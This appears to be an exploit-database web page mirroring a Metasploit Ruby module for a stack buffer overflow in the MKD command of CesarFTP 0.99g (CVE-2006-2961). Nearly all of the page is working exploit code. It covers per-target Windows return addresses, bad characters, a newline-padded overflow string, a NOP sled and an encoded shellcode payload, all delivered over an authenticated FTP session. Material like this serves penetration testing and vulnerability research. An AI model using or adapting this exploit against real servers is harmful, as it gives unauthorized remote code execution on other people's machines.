CesarFTP 0.99g – ‘MKD’ Remote Buffer Overflow (Metasploit) (2)

• Exploit Database
• 9 阅读

• 作者： Metasploit
  日期： 2011-02-23
• 类别：

  • remote
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/16713/

• ##
  # $Id: cesarftp_mkd.rb 11799 2011-02-23 00:58:54Z mc $
  ##
  
  ##
  # This file is part of the Metasploit Framework and may be subject to
  # redistribution and commercial restrictions. Please see the Metasploit
  # Framework web site for more information on licensing and terms of use.
  # http://metasploit.com/framework/
  ##
  
  require 'msf/core'
  
  class Metasploit3 < Msf::Exploit::Remote
  	Rank = AverageRanking
  
  	include Msf::Exploit::Remote::Ftp
  
  	def initialize(info = {})
  		super(update_info(info,
  			'Name' => 'Cesar FTP 0.99g MKD Command Buffer Overflow',
  			'Description'=> %q{
  				This module exploits a stack buffer overflow in the MKD verb in CesarFTP 0.99g.
  
  				You must have valid credentials to trigger this vulnerability. Also, you
  				only get one chance, so choose your target carefully.
  			},
  			'Author' => 'MC',
  			'License'=> MSF_LICENSE,
  			'Version'=> '$Revision: 11799 $',
  			'References' =>
  				[
  					[ 'CVE', '2006-2961'],
  					[ 'OSVDB', '26364'],
  					[ 'BID', '18586'],
  					[ 'URL', 'http://secunia.com/advisories/20574/' ],
  				],
  			'Privileged' => true,
  			'DefaultOptions' =>
  				{
  					'EXITFUNC' => 'process',
  				},
  			'Payload'=>
  				{
  					'Space'=> 250,
  					'BadChars' => "\x00\x20\x0a\x0d",
  					'StackAdjustment' => -3500,
  					'Compat'=>
  						{
  							'SymbolLookup' => 'ws2ord',
  						}
  				},
  			'Platform' => 'win',
  			'Targets'=>
  				[
  					[ 'Windows 2000 Pro SP4 English', { 'Ret' => 0x77e14c29 } ],
  					[ 'Windows 2000 Pro SP4 French',{ 'Ret' => 0x775F29D0 } ],
  					[ 'Windows XP SP2/SP3 English', { 'Ret' => 0x774699bf } ], # jmp esp, user32.dll
  					#[ 'Windows XP SP2 English', { 'Ret' => 0x76b43ae0 } ], # jmp esp, winmm.dll
  					#[ 'Windows XP SP3 English', { 'Ret' => 0x76b43adc } ], # jmp esp, winmm.dll
  					[ 'Windows 2003 SP1 English', { 'Ret' => 0x76AA679b } ],
  				],
  			'DisclosureDate' => 'Jun 12 2006',
  			'DefaultTarget'=> 0))
  	end
  
  	def check
  		connect
  		disconnect
  
  		if (banner =~ /CesarFTP 0\.99g/)
  			return Exploit::CheckCode::Vulnerable
  		end
  			return Exploit::CheckCode::Safe
  	end
  
  	def exploit
  		connect_login
  
  		sploit ="\n" * 671 + rand_text_english(3, payload_badchars)
  		sploit << [target.ret].pack('V') + make_nops(40) + payload.encoded
  
  		print_status("Trying target #{target.name}...")
  
  		send_cmd( ['MKD', sploit] , false)
  
  		handler
  		disconnect
  	end
  
  end